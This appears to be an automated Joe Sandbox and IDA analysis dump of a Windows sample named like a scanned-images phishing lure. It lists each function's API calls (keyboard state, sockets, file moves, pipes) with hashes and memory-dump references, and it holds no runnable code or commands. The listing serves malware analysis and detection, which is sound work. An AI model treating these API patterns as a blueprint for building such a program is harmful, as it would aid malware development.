
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: bc80342565f82d0d7363db802c26b6684631747d29752d07e17c08576d89f1e2
Instruction ID: c43da3716c5f47a333bc96891f7851ac5e66d7f226ca5818ad0aeeb8972087b9
Opcode Fuzzy Hash: bc80342565f82d0d7363db802c26b6684631747d29752d07e17c08576d89f1e2
Instruction Fuzzy Hash: 8851C1A06047D53DFB3692348845BFB7EA99B06304F08888AE1D9555C2C3DDEC98D7B9

Function 004BACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 004BAD19
GetKeyboardState.USER32(?), ref: 004BAD2E
SetKeyboardState.USER32(?), ref: 004BAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 004BADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 004BADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 004BAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 004BAE38

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: c061fa7c2fb9f4b597f8cdee4fa042353e75bd2618d516a8fda4d15060b87b58
Instruction ID: 9ec0cc14d4ad381965dff80d80ed242b880a5c4778d412b3b08adf7ff8a898ee
Opcode Fuzzy Hash: c061fa7c2fb9f4b597f8cdee4fa042353e75bd2618d516a8fda4d15060b87b58
Instruction Fuzzy Hash: 9451F4A15447D13DFB3783348C95BFB7EA95B46300F08858AE1D5469C2C398ECA8D77A

Function 0048542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00493CD6,?,?,?,?,?,?,?,?,00485BA3,?,?,00493CD6,?,?), ref: 00485470
__fassign.LIBCMT ref: 004854EB
__fassign.LIBCMT ref: 00485506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00493CD6,00000005,00000000,00000000), ref: 0048552C
WriteFile.KERNEL32(?,00493CD6,00000000,00485BA3,00000000,?,?,?,?,?,?,?,?,?,00485BA3,?), ref: 0048554B
WriteFile.KERNEL32(?,?,00000001,00485BA3,00000000,?,?,?,?,?,?,?,?,?,00485BA3,?), ref: 00485584

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b0b7466c5ba3c17daa1ebe08d321de8b947177fb78a7f45f1604b083954182c1
Instruction ID: 33f85f7e4cf9f11f12c8d7c64fa8d5cc9dd0831a540ceb98ecaf436a9a99b58c
Opcode Fuzzy Hash: b0b7466c5ba3c17daa1ebe08d321de8b947177fb78a7f45f1604b083954182c1
Instruction Fuzzy Hash: 1051E5B0A00648AFDB10DFA8D885AEEBBF9EF09300F14455BF955E7292D734DA41CB64

Function 004D10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004D304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004D307A
Part of subcall function 004D304E: _wcslen.LIBCMT ref: 004D309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 004D1112
WSAGetLastError.WSOCK32 ref: 004D1121
WSAGetLastError.WSOCK32 ref: 004D11C9
closesocket.WSOCK32(00000000), ref: 004D11F9

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: e04dc94c97414a1d559cace77acecebecd2f3a12abc08d0a5f602bf1f3fbc85b
Instruction ID: a4e43debbf2f36acd4bdc10f8b82a5a2dfb8309465b1ee57eaa445b2ddf2be29
Opcode Fuzzy Hash: e04dc94c97414a1d559cace77acecebecd2f3a12abc08d0a5f602bf1f3fbc85b
Instruction Fuzzy Hash: F241F531200204AFDB109F54C894BAEB7A9FF45319F14806BFD159B392C778AD45CBA9

Function 004BCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,004BCF22,?), ref: 004BDDFD

Part of subcall function 004BDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,004BCF22,?), ref: 004BDE16

lstrcmpiW.KERNEL32(?,?), ref: 004BCF45
MoveFileW.KERNEL32(?,?), ref: 004BCF7F
_wcslen.LIBCMT ref: 004BD005
_wcslen.LIBCMT ref: 004BD01B
SHFileOperationW.SHELL32(?), ref: 004BD061

Strings

\*.*, xrefs: 004BCFF3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 538441cc5cc71797d2000710195022cdd63beaa1c6baf8aaa344f06aca10b24b
Instruction ID: 20ee31348a2bf6af39fc85477d40aa910ec0cf1a16116339a08b71eede12356a
Opcode Fuzzy Hash: 538441cc5cc71797d2000710195022cdd63beaa1c6baf8aaa344f06aca10b24b
Instruction Fuzzy Hash: 61416971D052189FDF12EFA5C9C1AEE77B9AF44344F1004EBE509EB142EB38A645CB64

Function 004E2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 004E2E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 004E2E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 004E2E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 004E2EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 004E2EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 004E2EF1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 004E2F0B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 23a5e3c81fd46b578abe96728ab51bb60fdd582fedeed748c2e468be305400a1
Instruction ID: eaa44669fe0efbdf322327006fbb610683b6e346d7b1d02968c9fc016cf907b9
Opcode Fuzzy Hash: 23a5e3c81fd46b578abe96728ab51bb60fdd582fedeed748c2e468be305400a1
Instruction Fuzzy Hash: 193116306042A0AFDB208F1DDDC4F6637E8EB6A711F1401A6F9009F2B2CBB5AC459B49

Function 004B7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 004B7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 004B778F
SysAllocString.OLEAUT32(00000000), ref: 004B7792
SysAllocString.OLEAUT32(?), ref: 004B77B0
SysFreeString.OLEAUT32(?), ref: 004B77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 004B77DE
SysAllocString.OLEAUT32(?), ref: 004B77EC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 2b75ef579b6db35312ab61718e6cc3d76b0af270fa331981b3f58cd1090c2cce
Instruction ID: f021eeb9f77dc4d724afe1b3c37dbe55673707a361766928a8bec79f700fa234
Opcode Fuzzy Hash: 2b75ef579b6db35312ab61718e6cc3d76b0af270fa331981b3f58cd1090c2cce
Instruction Fuzzy Hash: 7321A176604219AFDB10DFA8DCC8CFB77ACEB493647108426B914DB291DA74EC428B78

Function 004B77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 004B7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 004B7868
SysAllocString.OLEAUT32(00000000), ref: 004B786B
SysAllocString.OLEAUT32 ref: 004B788C
SysFreeString.OLEAUT32 ref: 004B7895
StringFromGUID2.OLE32(?,?,00000028), ref: 004B78AF
SysAllocString.OLEAUT32(?), ref: 004B78BD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: c7e10541bba484f0f879259ffaae0c8168e22a255191fa5cd55583d97dd65484
Instruction ID: 80431b556f27a236d416cc180e7227ff6fc7a5c5b8d7fefb0270ad0c987b10c2
Opcode Fuzzy Hash: c7e10541bba484f0f879259ffaae0c8168e22a255191fa5cd55583d97dd65484
Instruction Fuzzy Hash: B2217131608204AFDB10AFB8DCC8DAB77ECEB497607108526F915CB2A1D678DC46CB78

Function 004C04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 004C04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 004C052E

Strings

nul, xrefs: 004C0567

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: ff5f99eb11bcd05ac59bec11da0ca88d3ea59e844c7f8b82a1a627d89f0a9b27
Instruction ID: 1cc8f70685700119d761c514f78b764dcafcd35daa5337d6d916b375bdb754a0
Opcode Fuzzy Hash: ff5f99eb11bcd05ac59bec11da0ca88d3ea59e844c7f8b82a1a627d89f0a9b27
Instruction Fuzzy Hash: F0212C79500305EBDF609F69D884F9A7BA4AF44724F204A2EE9A1D62E0D7749942CF28

Function 004C05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 004C05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 004C0601

Strings

nul, xrefs: 004C0639

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 7ca5fa83e7afa85ba399f1bc50ab601d493b45f6ba88ec743b73f90b6a7c4d8d
Instruction ID: dac5f879e01fc21a8bd30cb6fc73f197b3f1cb23fce21c13fcb69a8b085ac7ef
Opcode Fuzzy Hash: 7ca5fa83e7afa85ba399f1bc50ab601d493b45f6ba88ec743b73f90b6a7c4d8d
Instruction Fuzzy Hash: 3B219139600315DBDB608F698C44F9A77A4AF85720F200A1EECA1E72E0D7749861CB18

Function 004E40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0045600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0045604C
Part of subcall function 0045600E: GetStockObject.GDI32(00000011), ref: 00456060
Part of subcall function 0045600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0045606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 004E4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 004E411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 004E412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 004E4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 004E4145

Strings

Msctls_Progress32, xrefs: 004E40E3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9961f775eecc48b07899ad583b84faa82997479c8f0a1f8bf4fc577b51235860
Instruction ID: edcf3fac97081afce0a4c3c16b4f557614f5f719c062c48d6a888c94180ae6ca
Opcode Fuzzy Hash: 9961f775eecc48b07899ad583b84faa82997479c8f0a1f8bf4fc577b51235860
Instruction Fuzzy Hash: 4F11E6B114021D7EEF108F65CC85EE77F5DEF08798F014111BA18A2150C6769C21DBA4

Function 0048D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0048D7A3: _free.LIBCMT ref: 0048D7CC

_free.LIBCMT ref: 0048D82D

Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

_free.LIBCMT ref: 0048D838
_free.LIBCMT ref: 0048D843
_free.LIBCMT ref: 0048D897
_free.LIBCMT ref: 0048D8A2
_free.LIBCMT ref: 0048D8AD
_free.LIBCMT ref: 0048D8B8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 7c7e8a1ceae6a3a0d87c3874ad26187ca8b1c9d2c9d493479c286c1155fa1f23
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: FD112CB1A42B04AAD521BFB2CC46FCF7B9C6F00704F400C2AF299A60D2DA6DA5454754

Function 004BDA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 004BDA74
LoadStringW.USER32(00000000), ref: 004BDA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004BDA91
LoadStringW.USER32(00000000), ref: 004BDA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 004BDADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 004BDAB9

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 50fd440276859624572946bf6def81670feb3a17f07f964db1e6dcfb23b712b7
Instruction ID: b5911536b8d173fe29ff5293361178925c2714c6f735d5d3b7f2b2d5b19a2a74
Opcode Fuzzy Hash: 50fd440276859624572946bf6def81670feb3a17f07f964db1e6dcfb23b712b7
Instruction Fuzzy Hash: E90186F2900348BFEB109BE09DC9EE7776CEB08301F4445A6B716E6042E6749E858F78

Function 004C096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0128EF40,0128EF40), ref: 004C097B
EnterCriticalSection.KERNEL32(0128EF20,00000000), ref: 004C098D
TerminateThread.KERNEL32(006F0074,000001F6), ref: 004C099B
WaitForSingleObject.KERNEL32(006F0074,000003E8), ref: 004C09A9
CloseHandle.KERNEL32(006F0074), ref: 004C09B8
InterlockedExchange.KERNEL32(0128EF40,000001F6), ref: 004C09C8
LeaveCriticalSection.KERNEL32(0128EF20), ref: 004C09CF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 33733ac389d4b4e601578230328d25c8380d2cdd81ac3057fb6e63f154bfed1b
Instruction ID: bf133f818181e7c6cfd7257182ec2385ce444c541e165d1630a81422323dc8fc
Opcode Fuzzy Hash: 33733ac389d4b4e601578230328d25c8380d2cdd81ac3057fb6e63f154bfed1b
Instruction Fuzzy Hash: F4F03171842642FBD7415F94EECCBD6BB39FF01702F401426F201588A2C7749466CF98

Function 00455D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00455D30
GetWindowRect.USER32(?,?), ref: 00455D71
ScreenToClient.USER32(?,?), ref: 00455D99
GetClientRect.USER32(?,?), ref: 00455ED7
GetWindowRect.USER32(?,?), ref: 00455EF8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: b8f5c67d2a04c9fa98a0591e30f0ebcff7b6cf2971253cdffdc4b6cb6af268f0
Instruction ID: 71101542cc2f99033f3d0572dd109bd84f873eb417c301cc9a586ce466e8820f
Opcode Fuzzy Hash: b8f5c67d2a04c9fa98a0591e30f0ebcff7b6cf2971253cdffdc4b6cb6af268f0
Instruction Fuzzy Hash: DEB17B75A0064ADBDB10CFA8C481AFEBBF1FF44311F14841AE8A9D7250D738AA56CB58

Function 004801B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 004800BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004800D6
__allrem.LIBCMT ref: 004800ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0048010B
__allrem.LIBCMT ref: 00480122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00480140

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: 3e5a55f186a6504e25b88586f0ca2107b70ecf6f4dfa620d71e121eb4704c1e5
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: B181D6726007069FD720AA69CC41BAF73E8AF41328F24893FF455D7781EB79D9048798

Function 004D1D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004D3149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,004D101C,00000000,?,?,00000000), ref: 004D3195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 004D1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 004D1DE1
WSAGetLastError.WSOCK32 ref: 004D1DF2
inet_ntoa.WSOCK32(?), ref: 004D1E8C
htons.WSOCK32(?,?,?,?,?), ref: 004D1EDB
_strlen.LIBCMT ref: 004D1F35

Part of subcall function 004B39E8: _strlen.LIBCMT ref: 004B39F2

Part of subcall function 00456D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,0046CF58,?,?,?), ref: 00456DBA
Part of subcall function 00456D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,0046CF58,?,?,?), ref: 00456DED

Memory Dump Source

